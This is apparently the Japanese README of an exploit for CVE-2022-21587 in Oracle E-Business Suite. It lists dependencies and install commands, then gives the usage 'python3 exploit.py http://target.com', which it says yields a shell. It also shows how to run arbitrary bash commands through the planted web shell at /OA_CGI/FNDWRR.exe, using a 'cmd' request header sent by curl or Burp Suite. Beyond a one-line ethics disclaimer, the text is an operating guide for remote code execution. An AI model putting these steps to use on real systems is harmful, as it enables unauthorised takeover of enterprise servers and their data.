CVE-2022-21587-Oracle-EBS-

このエクスプロイトを実行するための前提条件:

• python3 とモジュール (requests, os, sys, slipit)
• uuencode

実行する前に、必ず倫理的な目的にのみ使用してください。

エクスプロイトが実行に失敗した場合:

• 前提モジュールをインストール済みであることを確認してください。

requests をインストール

• pip3 install requests

• slipit をインストール: git clone https://github.com/usdAG/slipit

  • cd slipit
  • python3 setup.py sdist
  • pip3 install --user dist/* OR python3 -m pip install --user dist/*

• uuencode をインストール

  • sudo apt install sharunits

• 使用法 : python3 exploit.py http://target.com

  • シェルがポップアップ表示されます。または、curl や Web プロキシツール（burpsuite）を使用してシェルを実行することもできます。
  • curl を使用する場合 : curl -k https://target/OA_CGI/FNDWRR.exe -H 'cmd: whoami'
  • burpsuite を使用する場合: リクエストヘッダーに cmd を追加して、実行したい任意の bash ペイロードを指定するだけです。